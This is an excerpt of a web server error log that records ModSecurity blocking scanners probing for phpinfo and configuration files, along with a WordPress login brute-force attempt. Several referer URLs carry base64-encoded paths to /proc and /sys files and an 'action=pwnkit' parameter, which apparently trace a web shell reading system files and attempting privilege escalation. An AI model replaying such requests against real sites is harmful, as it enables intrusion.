https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:08:46.859530 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.42:43986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:46.859819 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.42:43986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:46.927851 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.101:41380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:46.928128 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.101:41380] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:47.097023 2026] [security2:error] [pid 531797:tid 532082] [client 191.234.188.123:47952] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/gm.php"] [unique_id "ai3xD8TA7b1mZrmcA-8VMAAAAmg"] [Sat Jun 13 18:08:47.144880 2026] [security2:error] [pid 531797:tid 531940] [remote 17.246.19.205:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 205.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xD8TA7b1mZrmcA-8VMQACZEw"] [Sat Jun 13 18:08:47.178967 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:08:47.179390 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:08:47.229477 2026] [security2:error] [pid 531797:tid 532019] [client 191.234.188.123:31508] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/blox.php"] [unique_id "ai3xD8TA7b1mZrmcA-8VNQAAAis"] [Sat Jun 13 18:08:47.315825 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:08:47.316263 2026] [access_compat:error] [pid 531155:tid 531209] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:08:47.367608 2026] [security2:error] [pid 531155:tid 531171] [remote 17.241.219.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDymiP80klyS0NnrszwABcw8"] [Sat Jun 13 18:08:47.387118 2026] [security2:error] [pid 531155:tid 531300] [client 172.171.3.232:48039] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/bdktk.php"] [unique_id "ai3xDymiP80klyS0Nnrs0QAAARk"] [Sat Jun 13 18:08:47.468061 2026] [security2:error] [pid 531155:tid 531234] [remote 17.22.237.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xDymiP80klyS0Nnrs1AABJE4"] [Sat Jun 13 18:08:47.534529 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.89:55588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:47.534959 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.89:55588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:47.653497 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.19:56580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:47.653793 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.19:56580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:47.706961 2026] [access_compat:error] [pid 531797:tid 531931] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL25ldA== [Sat Jun 13 18:08:47.707244 2026] [access_compat:error] [pid 531797:tid 531931] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL25ldA== [Sat Jun 13 18:08:47.733981 2026] [security2:error] [pid 531797:tid 532092] [client 191.233.234.186:44242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/x.php"] [unique_id "ai3xD8TA7b1mZrmcA-8VQwAAAnE"] [Sat Jun 13 18:08:47.887361 2026] [security2:error] [pid 531797:tid 532075] [client 170.106.148.137:44868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.148.106.170.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3xD8TA7b1mZrmcA-8VRwAAAmE"] [Sat Jun 13 18:08:47.915734 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:08:47.916055 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:08:48.014877 2026] [security2:error] [pid 531155:tid 531310] [client 91.92.42.86:22274] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xECmiP80klyS0Nnrs5AAAASM"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.049125 2026] [security2:error] [pid 531155:tid 531410] [client 91.92.42.86:22288] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xECmiP80klyS0Nnrs5gAAAYc"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.068837 2026] [security2:error] [pid 531797:tid 532100] [client 91.92.42.86:22316] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VUAAAAnk"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.089894 2026] [security2:error] [pid 531155:tid 531354] [client 91.92.42.86:22320] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xECmiP80klyS0Nnrs6gAAAU8"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.091671 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:48.092122 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:48.109325 2026] [security2:error] [pid 531797:tid 532081] [client 91.92.42.86:22336] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VUwAAAmc"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.119043 2026] [security2:error] [pid 531797:tid 531997] [client 91.92.42.86:22354] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VVwAAAhU"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.140350 2026] [autoindex:error] [pid 531155:tid 531279] [remote 167.71.103.240:57485] AH01276: Cannot serve directory /home4/paintyou/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:08:48.184114 2026] [security2:error] [pid 531797:tid 531887] [remote 210.211.99.176:56900] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "marcelafernandes.com"] [uri "/wp-login.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VWwACfxc"] [Sat Jun 13 18:08:48.198032 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.52:48124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:48.198489 2026] [access_compat:error] [pid 531797:tid 531967] [remote 57.141.14.52:48124] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:48.218541 2026] [access_compat:error] [pid 531797:tid 531959] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:08:48.218978 2026] [access_compat:error] [pid 531797:tid 531959] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:08:48.227077 2026] [security2:error] [pid 531155:tid 531286] [client 91.92.42.86:22424] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xECmiP80klyS0Nnrs8AAAAQs"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.230698 2026] [security2:error] [pid 531155:tid 531304] [client 91.92.42.86:22432] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xECmiP80klyS0Nnrs8wAAAR0"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.232210 2026] [security2:error] [pid 531155:tid 531368] [client 91.92.42.86:22396] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.eoz.fiz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xECmiP80klyS0Nnrs9AAAAV0"], referer: http://autodiscover.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.237546 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:48.237980 2026] [access_compat:error] [pid 531155:tid 531255] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:48.332461 2026] [security2:error] [pid 531797:tid 532025] [client 172.171.3.232:64692] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/enacting.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VZgAAAjE"] [Sat Jun 13 18:08:48.343545 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:08:48.343826 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:08:48.366627 2026] [security2:error] [pid 531797:tid 532022] [client 91.92.42.86:22440] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VaQAAAi4"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.388925 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.51:54306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:48.389192 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.51:54306] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:48.402774 2026] [security2:error] [pid 531797:tid 532017] [client 91.92.42.86:22460] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VbgAAAik"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.404108 2026] [security2:error] [pid 531155:tid 531318] [client 91.92.42.86:22472] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xECmiP80klyS0Nnrs-QAAASs"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.463826 2026] [security2:error] [pid 531155:tid 531364] [client 91.92.42.86:22490] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xECmiP80klyS0Nnrs-wAAAVk"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.465125 2026] [security2:error] [pid 531797:tid 532112] [client 91.92.42.86:22488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VdAAAAoU"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.471228 2026] [security2:error] [pid 531797:tid 532084] [client 91.92.42.86:22504] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VdgAAAmo"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.472323 2026] [security2:error] [pid 531797:tid 532108] [client 91.92.42.86:22494] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VeAAAAoE"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.489404 2026] [security2:error] [pid 531797:tid 532033] [client 91.92.42.86:22530] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VewAAAjg"], referer: http://cpanel.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.504250 2026] [security2:error] [pid 531797:tid 532070] [client 91.92.42.86:22546] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.eoz.fiz.mybluehost.me"] [uri "/test.php"] [unique_id 